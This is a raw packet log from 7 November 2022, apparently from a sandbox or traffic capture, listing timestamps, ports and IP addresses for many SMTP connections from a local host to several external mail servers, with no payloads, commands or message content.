Nov 7, 2022 22:24:22.194159031 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.194209099 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.194209099 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.220395088 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.221708059 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:22.221720934 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.232750893 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.232777119 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.232928038 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.233036995 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.233181953 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.233231068 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.233277082 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.246829987 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.249335051 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.249420881 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.249672890 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.249695063 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.249748945 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.249778032 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250085115 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.250098944 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.250166893 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250200033 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250267029 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.250335932 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250366926 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.250432014 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250720978 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.250735044 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.250802994 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250802994 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.250866890 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.251161098 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.251480103 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.251769066 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.251878977 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.251899004 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.252094984 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.252223969 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.252294064 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.252365112 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.252455950 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.252656937 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.252690077 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.252748966 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.252751112 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.252916098 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253031969 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253045082 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253057003 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253129959 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253324032 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253340006 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253478050 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253750086 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.253882885 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.254055023 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.254072905 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.254200935 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.254452944 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.254471064 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.260691881 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.290333033 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.290370941 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.290642977 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.291786909 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.291786909 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.306898117 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.306963921 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.307137012 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.307205915 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.307377100 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.307480097 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.307627916 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.308120012 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.308155060 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.323482990 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323548079 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323580027 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323609114 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323623896 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323623896 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323637009 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323664904 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323692083 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323693991 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323692083 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323721886 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323746920 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323750019 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323746920 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323781967 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.323791981 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323791981 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323807955 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.323869944 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.327373981 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.331592083 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355216026 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355272055 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355302095 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355334044 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355364084 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355384111 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355384111 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355384111 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355391979 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355421066 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355436087 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355451107 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355465889 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355465889 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355479002 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355493069 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355493069 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355505943 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355552912 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355552912 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355726957 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355761051 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355789900 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355799913 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355799913 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355818987 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355846882 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355875969 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355906010 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355909109 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355909109 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355933905 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355947018 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355962992 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355990887 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.355998993 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.355998993 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.356053114 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.356314898 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.362823963 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.364475965 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.387306929 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387366056 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387397051 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387428999 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387458086 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387486935 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387515068 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387543917 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387558937 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387558937 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387573004 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387600899 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387609005 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387664080 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387664080 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387727976 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387758017 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387787104 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387814999 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387830973 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387844086 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387861013 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387872934 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387900114 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387927055 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387949944 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.387954950 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.387983084 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388016939 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388016939 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388046026 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388062954 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388075113 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388081074 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388206959 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388236046 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388278008 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388343096 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388343096 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388401985 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388436079 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388463974 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388490915 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388515949 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388520002 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388540983 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388547897 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388576031 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388598919 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388603926 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388631105 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388638020 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388659954 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388688087 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388715029 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.388716936 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388736010 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388763905 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388884068 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.388886929 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.389187098 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.389204979 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.389249086 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.390124083 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.398920059 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:22.398956060 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:22.418852091 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419133902 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419163942 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419228077 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.419228077 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.419275999 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419303894 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419325113 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.419329882 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419414997 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.419414997 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.419858932 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419922113 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.419950962 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420325994 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420356035 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420419931 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.420490980 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420517921 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420555115 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.420633078 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420660019 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420739889 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.420741081 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.420773029 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420799971 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420830011 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420856953 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420883894 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.420926094 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421021938 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421065092 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421134949 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421104908 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421104908 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421164036 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421228886 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421228886 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421319008 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421349049 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421375036 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421387911 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421401978 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421428919 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421454906 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421480894 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421508074 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421535015 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421539068 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421539068 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421564102 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421590090 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421607971 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421607971 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421607971 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421677113 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421677113 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421677113 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.421701908 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421730042 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.421926975 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422020912 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422043085 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422048092 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422075033 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422086000 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422102928 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422147989 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422147989 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422189951 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422254086 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422342062 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422367096 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422394037 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422396898 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422421932 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422447920 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422450066 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422450066 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422473907 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422488928 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422499895 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422512054 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422527075 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422554016 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422559023 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422559023 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422593117 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422625065 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422651052 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422672033 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422677994 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422758102 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.422786951 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422806978 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422858000 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.422924995 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423034906 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423115015 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423165083 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423271894 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423321009 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423371077 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423420906 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423441887 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423491001 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423571110 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423590899 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423609018 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423660040 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423739910 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423758030 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423778057 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423796892 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.423940897 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.424073935 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.424093962 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.424141884 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.433689117 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:22.434593916 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:22.438998938 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.450587988 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450629950 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450654030 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450679064 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450702906 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450726986 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450752020 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450845957 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.450954914 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451035976 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451180935 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451209068 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451566935 CET	25	49718	142.250.147.27	192.168.2.5
